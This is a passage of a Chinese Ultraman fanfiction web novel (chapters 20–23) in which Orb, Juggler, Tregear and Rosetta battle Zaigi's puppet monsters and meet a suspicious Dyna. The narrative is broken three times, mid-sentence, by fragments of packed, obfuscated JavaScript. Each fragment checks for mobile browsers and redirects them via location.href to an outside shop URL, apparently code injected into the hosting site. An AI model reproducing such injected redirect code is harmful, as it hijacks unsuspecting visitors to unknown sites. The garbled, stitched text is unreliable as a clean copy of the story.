光之国的奥特曼……伽古拉抱着剑想,所有的居民出生就是奥特曼。无尽的能源,强大的身体,漫长的生命,宇宙中无数生灵拼命也抢夺不到的东西,他们一出生就拥有了。简直就像神话里的伊甸一样,光之国的奥特曼就是神宠爱的天使,世界真是不公平到让人绝望啊。这样幸福的存在,自然有余裕挥洒善心,施舍给他们帮助。 而凯,从今以后也会是奥特曼的一员。 他一言不发,像一条藏在苹果树下的毒蛇,只是用碧绿色的蛇瞳观察伊甸之子们。凯叽叽喳喳地和前辈们请教,托雷基亚漫不经心地托着头,用手指一下一下地戳凯的脸,挑着几个想回答的问题解答,罗塞塔专心开着飞船,他们越过星门,到达另一个宇宙的射手座银河。被托雷基亚当不倒翁一样玩的凯忽然一个激灵:“我听见了求助声!” “怎么可能?”伽古拉没好气地说,“这是在宇宙里,怎么会有声音?” “但是我真的有听见啊!”凯四处张望了一下,伸手指了一个方向,“就在那颗行星上,罗塞塔前辈,我们快过去!” 罗塞塔低头看了他的指向,更改飞船的航线。托雷基亚好奇地捏起凯的衣领,晃了一下:“这是圆环之光给你的能力吗?一种心灵感应?” 伽古拉握紧了拳头,两个奥特曼自然而然地就相信了凯的说辞,好像这种癔症般的幻听是很正常的,显的他像一个没见识的宇宙乡巴佬。他在心里默默记下,奥特曼的超级听觉在宇宙里也能听见求救声。 飞船向行星琉璃极速飞去。他们看见一只宇宙恶魔巴力西卜即将要袭击一个瑠璃星人。罗塞塔低声说:“凯,变身,把它撞飞。” 这只前期怪兽不怎么强,罗塞塔对比一下两方战力,决定让萌新凯上去练练手。凯坚定地点头,举起欧布圣剑,化身一道光芒穿出飞船,利用变身无敌帧把那只巴力西卜创飞。趁着凯去1V1,罗塞塔把飞船停在地面上,与托雷基亚和伽古拉一起去疏散居民。伽古拉一手抱着小孩,一手拎起小孩的父母,往罗塞塔和托雷基亚的方向狂奔。他自认为是打不过怪兽的,现在还有什么地方是比两个奥特曼身边更安全的?他把三个原住民往两个蓝族身边一推,回头冲欧布大喊:“这是宇宙恶魔巴力西卜,不要被它尾巴上的毒刺扎到!” 欧布奥特曼在战斗。 欧布开始吃瘪。 欧布发出光线!可惜,因为后坐力,光线打偏了。 这孩子没有新手保护期的吗?罗塞塔站在原地看,托雷基亚有点讶异地挑眉:“圆环只给了力量,其他的知识什么都没给?这样看来,凯只能算光之国的奥特小学生吧?” “他显然比小学生抗打。” 欧布在挨打,胸前圆环形的计时器闪红了。伽古拉看了看欧布,又看了看站在一边的两个光人。他忍了又忍,挤出一句敬语:“前辈们,请你们指导一下欧布那个笨蛋吧!” “托雷,可以请你去给欧布演示一下如何战斗吗?” “好,就让我帮帮这个红色的后辈吧。” 托雷基亚无前摇直接变身,切入战斗。他勾手一拨,就把按着欧布打的巴力西卜掀到一边。欧布挣扎地站起身,大口大口地喘气。他看着蓝色的奥特曼摆起出起手式,然后开始一场单方面的吊打。蓝族行云流水地把握战斗的节奏,他先是试探性地出拳,评估巴力西卜的外壳硬度,第一时间削掉怪兽的翅膀。然后开始展示各种各样的招式:冲拳、寸劲、闪避接手刀……蓝族的优势在于速度,因此腿部力量比拳头更大,托雷基亚擅长的还是各种踢技。不停抬腿攻击敌人下盘,他耐心地封锁巴力西卜的走位,把怪兽溜得晕头撞向,最后一记手持八分光轮,丝滑地把巴力西卜对半切开。怪兽还没反应过来,就裂开炸成了烟花。 “这就是……真正的奥特曼吗?”伽古拉看着那个优雅的蓝色巨人,心神巨震。这样强大,这样从容!结束战斗的托雷基亚看了欧布一眼,感叹一句:“欧布,红色可不代表强大哦?” 凯没听懂这句阴阳怪气,他被托雷基亚一只手提回来,本来就乱糟糟的头发更潦草。看见凯捂着胸口,罗塞塔迎上来:“有受伤吗?让我看看。” “胸口闷痛,可能是肋骨骨折了。”医疗兵对自己的伤势作出判断。罗塞塔点了点头,按住凯的胸口,手上放出绿色的治愈光线。感觉痛苦慢慢褪去,呼吸变得顺畅。凯惊讶地说:“罗塞塔前辈是医疗吗?和我一样呢!” “是哦,受伤了可以来找我,我会治好大家的。”罗塞塔收回手,露出恬静的微笑。伽古拉的视线在她和托雷基亚之间转了一圈,原来如此,他想,一个负责战斗,一个负责治疗。这两个奥特曼是这样分工的,就像过去的我和凯一样。他想起过去他和凯在战场上互相支持,他保护着凯,在战斗结束后,凯总是一脸要哭出来的表情为他包扎。因为有他,天真又弱小的凯才能活下来。但是这一切都要过去了,他成为了需要被保护的弱小。 现在,不,从今以后,凯都不再需要他了。 把被救下的人送到聚集地后,四人再次踏上旅途。 现在是托雷基亚在开飞船,罗塞塔在给凯进行战前突击培训。 “这是八分光轮,可以手持也可以丢出去。” “这是斯派修姆光线,这是帝斯修姆光线,这是斯特利姆光线,这是托雷拉修姆光线……” “这是奥特念力,这是奥特屏障,这是瞬间移动。” “好啦,学会了吗?现在你可以去打巴力西卜了。” “我没学会……”凯露出了委屈的表情。好像罗塞塔对他说:这是攻,这是防,这是苇名弦一郎。各种光线在罗塞塔手中信手拈来,而他只能阿巴阿巴。说起来为什么身为医疗的罗塞塔前辈会这么多杀招啊,难道光之国的医疗兵才是真正的底牌部队?凯敬畏地想,那传说中的银十军队长玛丽奥特曼一定是光之国的至高强者吧! “唉,你这样我可不放心呀。”罗塞塔苦恼地说,“泰罗和托雷学得都很快,难道是光之国的教材不适用外地奥特曼吗?我想想……” “罗塞塔,泰罗在光之国也算得上是天才。你不能按照泰罗的标要求欧布。”托雷基亚抽空发出点评,“欧布放在光之国就是刚出生一天的速成光团子,会走路已经很厉害了。” “真是高高在上的发言呢,”伽古拉忍不住呛了一句,“我们是外地人真是对不起啊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648356|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “其实,我有一个比较外道的办法……”罗塞塔看向凯,“但是对于其他人比较难以接受,所以我需要征询你的同意。” “是什么?有危险吗?”凯好奇地问。 “危险倒是没有,主要是很侵犯你的,呃,人权?”罗塞塔不确定地描述,“如果你不抗拒我,我可以用念力操控你的身体,用你的身体把各种光线的能量回路运转几遍,直到你的身体记住这些技能。但是身体完全失去控制的感觉,我觉得你会非常不喜欢。” 原来是这样的办法,光之巨人连这样的程度都能做到吗?伽古拉想,对于战士来说,自己的身体是自己千锤百炼过的武器,是绝对不能被外人掌控的东西。换一个人来,都会拒绝这个让自己任人宰割的请求,但是凯是个笨蛋,所以,他不会拒绝。 果然,凯同意了。 “可是前辈不会伤害我吧,这样我就能马上学会战斗技能。”凯用清澈又赤诚的眼睛看向罗塞塔:“我接受,请前辈帮帮我!” “好吧,你先变身欧布。如果中途感觉受不了,一定要和我说哦?” “我知道了,前辈!” 凯举起圣剑,变身欧布。红银双色的奥特曼出现在原地,他的身躯挺拔结实,有蓝族努力锻炼也练不出来的肌肉线条。欧布的眼灯是椭圆形的,看起来有一种小狗般的呆萌。 罗塞塔再次感叹,奥特念力无所不能。这个方法是她结合念力和咒术研究出的设想,隔离身体原主人的精神,直接操控对方的身体。她称之为“越权律令”,最初她用念力控制自己的身体战斗,后来试着用这一招控制敌人,最后她发现这个招数还有开发的潜能。如果用在队员身上,能够调整队友的身体状态,优化能量运转效率,俗称给队友上buff。 蓝色的奥特曼牵起欧布的双手,将手指插入他的指缝。乳白色的眼灯注视着他,罗塞塔用轻柔缱绻的语调说:“来,欧布。放开你的身心,不要害怕,不要拒绝,感受我。” 欧布屏住呼吸。有一种难以形容的感觉在瞬间缠绕淹没他,两种奇异的感知同时出现在身体上:温暖和冰凉。他觉得自己被浸泡在没有重量的液体里,灵魂变得轻飘飘的。但是这种感受并不难受,反而有一种被某人拥入怀抱的感动。柔软黏腻的、像是被羽毛掠过皮肤的触觉从神经末梢升起,他感觉自己正在被“探索”、“描绘”、“调试”。细小的电流沿着未被使用和开拓的回路走过,最后汇聚在胸前的计时器里,炸开麻而痒的颤动。这是什么?欧布无法发声,在意识中迷茫地问。这是你的能量回路,温柔的女声在躯壳里回荡,她耐心地回答,凯,你的身体很优秀,欧布之光给予了你充足的能量储备和良好的承载力。集中注意力,记住这些路线,好好地认识你自己,认识“欧布奥特曼”。 像是蒙尘的玻璃被擦洗干净,凯觉得自己模糊生涩的身体慢慢变得熟悉通透。不同招数的光线在他的身体中一遍一遍运行,直到这块电路板蚀刻出完美的线路。罗塞塔一边引导能量在欧布体内流动,一边和凯说起骨骼肌肉应该如何发力,才能在战斗中打出伤害。他依旧不理解那些晦涩的技能原理,但是他觉得自己会使用了。只要念头一动,本能就能放出对应的招数。给欧布安装完技能库之后,罗塞塔退出欧布的“账号”,松开手。如雾气一样的存在感从骨骼血液间散去,好像突然离开母亲温暖的子宫。欧布呼出一口气,他下意识地抓了抓手,没握住本该存于掌心的手。 奇怪,有一种怅然若失的感觉……欧布甩了甩头,把莫名其妙的失落丢出去。他变回凯的样子,扬起开朗的笑容:“谢谢您,罗塞塔前辈,我感觉自己变得好厉害。” “这种厉害只是错觉哦,凯,你要在实战中磨砺,才能得心应手。”罗塞塔双手交叠,笑吟吟地说。这时,托雷基亚发出提醒:“前面有一艘红色的飞船在被贝蒙斯坦攻击……贝蒙斯坦的眼睛是红色的,它好像被控制了,你们谁去解决一下?” “我去吧!”凯信心满满地举手,他觉得自己现在强得可怕。他大喊一声“欧布!”,一道光芒向怪兽冲去。 21. 好多奥特曼,打完你的打你的 (21) 现在飞船上有五个人在看欧布吃瘪了。 伽古拉“啪”地一下捂住脸,恨铁不成钢地说:“凯……学会了光线就只用光线,你怎么不看看对面是能够吸收光线的贝蒙斯坦啊!” “这孩子属实不太机灵。”托雷基亚跟了一句。 “诶?可是这个巨人已经非常努力了!”这是立花。 御言抱着双臂点点头,站在控制台上。在红色的巨人和怪兽搏斗的时候,这艘银色的飞船发来通讯的请求。御言接起通信后,对面是一个清澈的女声,称他们是光之国的科考队伍,询问御言的所属势力,并且亲切地问她们是否需要帮助。光之国的善名在宇宙中广为流传,伽农星也有所耳闻。她们马上发出了接舷的申请,然后被允许了。红色的小船开进银色飞船的下层,一个美丽的蓝色女性巨人把她们带到驾驶室,双方交流了一下情报,发现目的一致:去行星在因,把才气博士和库因都给扬了。 五人(三人两奥)在驾驶仓的巨大屏幕面前,看欧布和贝蒙斯坦打得有来有回。 欧布发射光线,被贝蒙斯坦的腹部吸收。欧布使用体术,贝蒙斯坦把吸收的能量吐出来“还”给欧布。一奥一怪就这样你攻击一下,我防御一下,玩起了回合制游戏。欧布真的是要数值有数值,要机制有数值,体力和能量都比蓝族优秀得多。托雷基亚看了一会斗蛐蛐,觉得没意思:“罗塞塔,你去中止这场无聊的闹剧吧。” “没问题,托雷。” 蓝色的女性巨人化为一道光芒,出现在怪兽身后。她抬起右手,捏成剑指,手臂平举。趁着贝鸟吸收欧布光线的时候,一发白色光箭击碎它的头部。剩下的无头尸体终于被欧布炸开。 1秒。 “好厉害啊……就像是曾经的女王大人一样……”立花憧憬地看向宇宙中悬浮的蓝色巨人,爆炸的逆光为她蓝色的身躯勾勒出一层金边,恍若岩壁上贴了金箔的神像。伽古拉难以置信地问:“她不是医疗兵吗?你们蓝色的都这么强吗?” 托雷基亚有被这句夸奖爽到,他骄傲地炫耀:“伽古拉斯·伽古拉……真绕口,我就叫你伽古伽古吧。你要记住,奥特曼之间亦有差距,我和罗塞塔是特别的。” 宇宙中,罗塞塔拍了拍欧布的肩膀以示鼓励。他们回到飞船中,能量耗空的欧布变回了凯,罗塞塔不太放心,给他做了一下检查。放出治疗光线,将他拉伤的肌肉治好。凯沮丧地低下头说:“前辈,对不起,还是需要你来帮助我。” 罗塞塔摸了摸凯的脑袋:“贝蒙斯坦其实挺难打的。你只是不熟悉它的特性。你要记住,贝蒙斯坦的腹部会吸收光线,一般不建议用光线对付它。要用体术压制它,乘机砍掉它的头。或者说,你需要一个搭档。在贝蒙斯坦吸收光线的时候,它是无法移动的,这时候你的搭档就可以绕后收掉它的性命。” “我明白了。我会努力学习体术的,前辈,请您教我!” 体育就没及格过的罗塞塔:…… 她把伽古拉扯到凯面前:“这方面,我远不如这位伽古拉先生。你们不是同伴吗?凯,要相信同伴的力量啊。” 伽古拉正为凯的丢人表现憋了一肚子火,他露出和善的笑容:“凯,走,我们去旁边比划一下。”他掏出蛇心剑吊打凯,凯被打败后,反而露出了赞叹的笑容:“伽古拉,你好强啊。” “真是华丽的剑术,这就是我梦想中的技艺。”御言露出了憧憬的表情,她对伽古拉说:“请收我为徒吧!” “没什么值得学习的,这只是杀人的技术罢了。”伽古拉借着蛇心剑的剑身注视自己的脸,他的声音变得很轻,“就算握紧了剑,也什么都无法保护,什么都无法拯救……” “刀剑为了什么存在,要看握刀的人。”御言坚持,“我要学会这份技术,去保护天照大人。我不会放弃的。看,我已经记住一些了。” 她模仿伽古拉舞剑,伽古拉看着御言不成体统的剑法,表情和缓不少,嘴上却依旧冷硬:“哼,你们的女王不是能够变成巨人吗?她还需要你们的保护?” “女王陛下是温柔善良的性格,她不喜欢争斗。”御言为自己的君主辩解,她的脸上满是诚恳和信赖:“在危难之际,女王陛下会变身战神保护我们的。但是,我们也有想要守护女王陛下的心。” “虽然是女孩子,但是你很可靠呢。”凯笑着说。伽古拉抱着肩膀没有说话,御言凑上去,一声一声地喊着:“师父——”在一片祥和欢乐的气氛中,飞船飞向在因星。 “生命正是因为偷食了智慧的禁果,犯下原罪,才被逐出伊甸。” “人们一旦拥有智慧,就会生出【比较】之心,比较催生嫉妒,嫉妒诞生了争斗。” “还不明白吗?正是拥有了智慧,生命才无法获得幸福啊!” “你想说什么?”森罗队长坐在高压电组成的监狱里,看着对面的男人。男人叫做才气,自称是博士。他的脸上布满皱纹,眼睛却闪烁着孩童一样明亮的光,他的双手皮肤粗糙,骨节宽大,看起来曾经辛苦劳动过。才气抱着一个机器人,向森罗展示自己的朋友:“你看,变成机器这样的存在,只有智能而没有智慧,人们就不会互相伤害了,这不是很美好的未来吗?” “那样一来,生命就只是傀儡,而不是人类。” “可是对我来说,人类只要这样存在就可以了。自由意志是痛苦的根源,只要我解除这份原罪,你们会获得幸福,我也会变得非常幸福。” 他虔诚地举起帕迪尔,好像向上帝举起圣杯,讨要一点恩赐的圣血。森罗不理解这个神经病在干什么,他转过头,面对墙壁,思考怎么样把重要的情报传出去。他相信他的下属立花一定会不顾一切地来救他,他现在要做的就是恢复体力,等待某一天和立花一起回到伽农。 “我的朋友,”帕迪尔用孩童的声线说,“基地里出现了入侵者,我们应该回到主控室处理他们。” “好吧,看来现在我们不能继续友好相处了。”才气发出了遗憾的叹息。这个身手灵活的雷普星人抱着小机器人离开了。森罗心中一动,入侵者,是立花吗?他思考片刻,唱起走调的歌。 在黑色的基地建筑外面,银色的飞船突入在因星的大气层。数量庞大的巴力西卜虫群扑向飞船,遮天蔽日的黑色潮水涌向银星。凯看着数量庞大的怪兽,自觉地举起变身器:“欧布!” 白色的光芒如同利剑撕开黑潮,欧布举起双臂,组成十字形状。他深吸一口气:“欧利吉姆光线——”十字形状的准星在欧布的胸前闪烁一瞬,随即沿着上下左右喷涌出高能射线。耀眼的光柱把扑上来的怪兽瞬间气化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648357|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,欧布咬着牙,持续放出能量。罗塞塔刻印在他身体中的光线技能在脑中浮现融合,他心有所悟,手上姿势变换,本只向一个方向攻击的光线扩张变大,变成一道帷幕般的光炮,自左向右横扫千军。白色的海浪把黑色的虫群推了回去,他一个人就是一道防线! 欧利吉姆光线·广域轰击! “欧布真的是一个放光炮的好苗子,已经学会全屏AOE了。”罗塞塔站在舷窗前,看着这场绚丽致命的潮涌潮落。伽古拉注视着那个大发神威的身影,默默握紧手中的剑。凯……他成长的速度真是快啊。他按下心头的郁闷,沉声说:“和量产的傀儡比拼消耗是没有意义的,必须要找到发号施令的首领。” “伽古拉说得对,凯,保存体力。我们去打库因。” 欧布清完一波小兵,降落在在因星的陆地上。他点点头,目标明确地朝地面上唯一的建筑物走去。凯的思路很清晰,他们是踢馆的,只要直冲敌人的老家,库因就必须出来阻拦他们。果然,出现了三只50米高的巴力西卜,这三只显然不是刚刚欧布清掉的炮灰货色。欧布刚才消耗了一波能量,现在他决定先用体术应对。 “我们要去帮欧布吗?”托雷基亚问,他操控着飞船降落。罗塞塔想了想,对他说:“我们兵分两路吧。托雷,你带着他们去基地里救森罗,顺便追杀才气。我留下来辅助欧布。打完守卫,我们就去和你们汇合。” “好。”托雷基亚评估了一下,他认为欧布可以成为一个合格的肉盾,足够保护罗塞塔。而他一带三也不是问题,他变成人形:“我们这就潜入救人,你保护好自己。” 两班人马就此分流。罗塞塔没有降落在欧布身边,她猫在战场边缘,根据之前和欧布建立的“链接”连上凯的精神:“凯,不用去寻找我的位置。我会在暗中支援你。” “好,前辈!” 罗塞塔双手交握,她的口中低声吟唱咒文:“凭光而生,千星共祝。自此,请英雄降诞。为【你】的存在献上晨光的祝福……” 越权律令·150%增幅! 欧布感觉自己的身体变得轻盈坚硬,骨骼发出轻脆雀跃的鸣响,自动修正成适合战斗的状态。血液在奔流,就连干涸的能量都被瞬间补满。身上所有的不适和疼痛都消失,他觉得自己的状态从来没有这么好! 上完buff,罗塞塔开始放冷枪。她凝神屏气,瞄准,发射。极具穿透性的光箭从角落里射出,穿过战场,在恰到好处的时机贯穿怪兽的关节。她打一发就换一个地方,贯彻游击精神。 操控傀儡的库因红温了:捏麻麻的,是谁在狙我? 它气急败坏,又召唤出一只火山怪鸟巴顿。眼冒红光的巴顿发出啼鸣,朝欧布冲击。它现在不是普通的巴顿,而是附魔巴顿,不仅拥有自身的毒素,攻击还附带巴力西卜的傀儡毒!它,拥有高贵的毒伤。 “不能被它碰一下,凯。” 罗塞塔用心灵感应说。她默默地给欧布开盾,提防巴顿的偷袭。这时,一道红蓝的光芒降临,从光芒中走出了一位新的奥特战士,戴拿奥特曼。 库因:…… 为什么奥特曼和线面一样,会不停增殖,到底还有多少奥特曼要来打我?跑,必须马上跑路。库因不再恋战,给傀儡们上了狂暴buff后。转头就飞向主控室。 22. pretender们 (22) 另外一头。 托雷基亚带队,一路无双,把所有守卫的巴力西卜幼虫都攮死后,顺利潜入基地营救出森罗队长。由于他们杀得太快,两路兵线都爆炸的才气博士顾不上和他们打招呼,带着库因瞬间逃跑。他跑之前还引爆了基地,想把这些不讲武德的野蛮人通通炸死。库因在主控室委屈地嘶鸣,才气戴上脑波接收器,脑中响起稚嫩的孩童声音:“呜呜呜,朋友,我的孩子们都被奥特曼消灭了,我需要时间恢复。” “好,好。我可怜的好女孩,那些野蛮人真坏。”才气心疼地对库因说,“我们先去收集更强大的怪兽,然后再去伽农找小天照。” 才气博士操控主控室的面板,选定了一个地点。一阵蓝光闪过,主控室逃之夭夭。基地的自爆系统启动,托雷基亚捞起四个小人,变身飞出爆炸的基地,他甚至懒得回头看爆炸。被握在掌心的森罗抬起头,只看见巨人胸口翅膀一样的浮雕。 真是强大的巨人啊……他是来帮助伽农的吗? 森罗在心中想着,握紧了胸口的生命之树种子。 托雷基亚与罗塞塔在飞船前合兵。他注意到这里又刷新出一个人,是一个黑发的沉稳男人。凯围着他,嘴上喊着:“飞鸟前辈。”但是罗塞塔没有靠近,而是保持了一个很微妙的距离。她关注着这个陌生人,但没有阻止凯去交谈。 奇怪,托雷基亚歪了歪头。罗塞塔看起来不信任那个飞鸟前辈,但是以她对于好朋友的溺爱程度,又没有拦着凯。这是之前发生了什么吗? 他放下手中的小人,伽古拉走到凯身边,低声问:“凯,这是什么人?” “伽古拉,是新的前辈!他是戴拿奥特曼,飞鸟信前辈。我有问题想请教前辈!” “你好,”黑发的男人穿着超级胜利队的队服,表情沉稳柔和,“我是来自地球的奥特曼,听闻有人在宇宙中操控怪兽引起混乱,于是追寻到了这里。” “戴拿前辈非常厉害!一下就消灭了怪兽。”凯仰慕地说,“而且戴拿前辈也是得到光芒的人类,我想问问他,这份光的意义是什么?” “意义?凯,你在纠结什么?”伽古拉皱眉。 “我想知道,光为何选中了我,欧布为何诞生。” “……?”飞鸟信感到困惑。他想,凯为了获得光爬上战士之巅,然后被光选中了,现在又要问光为什么选他?不是,他到底想不想要力量,不是他自己主动去爬山的吗? “我不太理解,”飞鸟信问,“你对于成为欧布感到后悔吗?” “不,我想要用这份力量去帮助他人,创造一个没有牺牲的世界。可是,我的理想,真的配得上这份力量吗?明明有比我更优秀的人,圆环为什么要选我呢?” “事到如今你还抱着这样天真的愿望吗?”伽古拉冷声说,“不存在牺牲的战斗是不可能存在的,就算你成为奥特曼,也无法拯救所有人。” “就算拼上我的生命,我也会努力救下所有人!” 这个欧布奥特曼,他居然有和泰罗一样的理想,如果泰罗在这里,他应该会大笑着认可他吧?托雷基亚想,他忽然觉得欧布看起来顺眼不少。 “原来如此。”飞鸟信微笑着说,“你不是已经坚定了自己的信念吗?或许就是怀着这样宏大的梦想,你才会被选中吧。” 不要说这样的话!伽古拉的脸色阴沉,凯……凯那个笨蛋真的会这样做的!他迟早会被这个理想溺死,他会一遍遍重复无能为力的悲伤,最后燃烧掉自己的生命……我,我…… 不想看到凯死去。 “所有人都能够获救的世界,根本不存在。”伽古拉冷冷地丢下一句话,转身向飞船走去。 “唔?聊完了吗?” 沉思的罗塞塔回过神,她说:“先离开这颗星球吧。我们回飞船交流一下情报。” “嗯嗯,人类经过这么长的时间奔波,应该是需要进食的吧?”托雷基亚不动声色地说。如他所料,扎着两个丸子头的立花举起手:“斯扎克飞船上有应急食品,大家,我们一起去吃饭吧。” 人类和人间体都朝停在舱内的斯扎克飞船走去,飞鸟信走在队伍的最后。他回头朝罗塞塔看了一眼,托雷基亚伸手把人类拟态的好友握在手心,挡住这道视线。飞鸟信毫不尴尬,他与托雷基亚对上视线,眉眼弯弯,露出了没有阴霾的笑容。然后他转身离去。 “那个人类有什么问题吗?” “他不是飞鸟信。” 托雷基亚把罗塞塔捧在掌心,朝驾驶室走去。他第一次以这个角度看罗塞塔,小小的挚友坐在他的手中,黑发像绸缎一样铺开,一只手就能完全控制和掌握。脆弱的,美丽的,可以被我轻易碾碎的存在,真是……可爱啊。他忽然理解奥特曼为什么喜爱人类了,因为他们能够被轻易毁灭,却愚蠢地向巨人交付信任。是因为弱小才可爱吗?他想,还是因为是罗塞塔我才会觉得可爱?他没忍住,用指尖轻轻戳了一下少女的脸颊。罗塞塔被点得一晃,干脆抱住托雷基亚的手指:“……我很认真地在和你说话哦?” “好的好的。”被萌化的托雷基亚心情很好,“我知道,可是你看上去并不警惕。你是怎么确定他有问题的?在我眼中,他的确是纯粹的光芒。” “他是光,也是【戴拿奥特曼】。”罗塞塔说,“但是他绝不可能是飞鸟信,或者是别的什么人类。” 至于原因……不是因为他不是黄毛飞鸟而是TV剧的黑毛飞鸟,而是因为,那家伙根本演都懒得演吧?哪个时期的戴拿,能够用基础形态一拳干碎巴顿?是的,当时罗塞塔在场,目击戴拿·闪亮型ver.朴实无华地一拳把巴顿打成巴顿酱。又三下五除二,一拳一只巴力西卜。什么毒素,根本毒不到他一点,他整个人就像开了无敌挂一样,左拳高伤害,右拳伤害高,锁血还免控。他打完怪兽回过头,怪兽的血液沾在拳上,溅射的各色鲜血像给戴拿纹了一个花臂。欧布都被这位残暴的前辈吓一跳,还好这位挂哥不打奥。变成人型后,此人稳重礼貌得像个人机,脸上一直挂着恰到好处的笑容。对于不认识飞鸟信的人来说,会觉得这个前辈哇噻真是靠谱,但是罗塞塔看过《戴拿奥特曼》和《原生之初》,她只想说大哥你谁? “既然如此,他会威胁到我们吗?” “并不会。” 罗塞塔开着名为【第三视角】的感知观察过了,那个【戴拿】的光芒并非伪装,表情动作也没有恶意。直感甚至反馈,那个人似乎对自己怀抱着比较正面的情感。如果并非敌人,这个【戴拿】经历了什么,才会变成这个样子? “总之,托雷你先往伽农星跃迁,我再去观察一下。” 罗塞塔从好友的手中一跃而下,叮嘱了一句后离开。托雷基亚留恋地握了握拳,手中仿佛还停留着蝴蝶栖息过的触感。“怎么感觉我一直在开飞船啊……”他小小地抱怨了一句,但是并不厌烦。这趟冒险,要比他想象中的有趣多了。 罗塞塔用人类的模样走进斯扎克飞船,她大大方方地敲了敲舱门,大大方方地放出念力感知。她相信除去还不成熟的欧布,老牌奥特曼【戴拿】一定感受到她的念力。在宇宙中,这样的窥探通常被视为一种挑衅。但是【戴拿】若无其事地吃着罐头,在罗塞塔的视线落到她身上的时候,还抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648358|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头回了一个微笑。违和感愈加强烈,罗塞塔移开视线,走到凯身边:“你们刚才在聊什么?” “我们正要找你说呢,罗塞塔前辈。”凯放下罐头,严肃地说:“森罗队长得到重要情报。才气博士的目的是战神和生命之树,他说‘当黑暗与光明,库因与战神相遇的时候,世界会为之改变。’所以他一定会逼迫天照女王变身,我们要回到伽农,保护天照女王。” “不用担心,”罗塞塔说,“我已经将跃迁地点设立在伽农了,我们一个小时后就会抵达。” “不愧是罗塞塔前辈,帮大忙了!” 凯松了一口气。森罗站起身,朝罗塞塔走过来。他向罗塞塔行了一礼:“听凯说您也是奥特曼吧。谢谢你们愿意来帮助伽农,帮助我!” 嗯?他的身上有一个微弱的光点,散发着一种陌生的熟悉感。这种感觉就像在异国他乡的街头看见雪王在卖奶茶,走近一看是【冰雪蜜城】。罗塞塔犹豫了片刻:“你的脖子上挂的是什么,可以给我看一下吗?” “这是天照大人交给我的护身符,也是生命之树的种子,可以用来解除巴力西卜的傀儡毒。”男人介绍完,爽朗地摘下递过来,“您是感到好奇吗,请随意。” 罗塞塔的接过这枚干枯的种子,一种无形的链接接通了她的意识。 【……检测到未记录数据。】 【……编号‘?3#000&1712%++9’记录中。】 【……匹配中……检测运行模式……管理员权限启动中。】 【……临时访问密钥生成成功……识别掩码:■■■■】 【……登陆成功……允许访问。】 【战神:嗯?……你是谁?】 ——战神,或者说天照女王,一直通过这枚种子注视着这里。 罗塞塔一言不发,把种子往凯手中一塞。凯看了看她,又看了看手中的生命之树种子,他迷茫地问:“怎么了,前辈,有什么问题吗?” 其他的光之战士对这颗种子没有反应,只有她能够与这个东西交互。这下事情大条了,冷静可靠的【戴拿】,暗中窥屏的天照女王……这个原生之初大有问题。罗塞塔沉思,毕竟,这是一个真实自洽的宇宙,哪来那么多逆天神人凑一块。 “没什么。”罗塞塔摇摇头,借着凯的手把种子还回去。“我需要休整一下,请不要担心。” 看着罗塞塔离开,凯不解地抓了抓头发:“前辈好像有心事。” “我去看一看吧,或许我能开导一下。”成熟可靠的飞鸟信把空罐头放下,露出温和的笑容。他跟了上去。倚靠在墙边的伽古拉看了一眼离去的两人,眼睛在二人之间转动了一下。 是错觉吗?感觉这位【戴拿】特别关注罗塞塔呢? 罗塞塔走过长长的走廊,墙壁上的感应灯随着她的脚步一盏一盏亮起,又在她身后慢慢熄灭。【戴拿】跟在她的身后,隔着一段不远不近的距离。他恰好点亮熄灭的灯,却又永远慢了一步,无法将整条走廊点亮。他追逐着她,两人的脚步声次第交错响起,慢慢合拍。二人转过拐角,穿过货仓,直到罗塞塔停下脚步,转过头看着【戴拿】。 闸门落下。 这是一个偏僻寂静的角落,适合发生一场密室杀人案的或者是某人撕开伪装变为异形的恐怖片。对峙的二人彼此注视着,感应灯在寂静中慢慢熄灭。罗塞塔脸上总是挂着的微笑消失,她没有表情,最后一缕即将消失的光落在她漆黑的眼瞳中,如同夕阳坠落。她好像只是单纯地感到疑惑,于是她说。 “你不应该出现在这个时间点。” “赛迦。” 23. 互相开盒以表尊重 (23) 真是见鬼了。【戴拿】想。 奥特曼良好的视力让他在黑暗中也能将一切看得清清楚楚,他将那张脸上的神情收入眼帘。女孩素白的脸上没有任何表情,罗塞塔平静地说出那句话,笃定而自信,黑色的眼睛仿佛看尽过去与未来,她以一种超然物外的语调开口,像是女神站在命运长河旁掷下一句谶言。 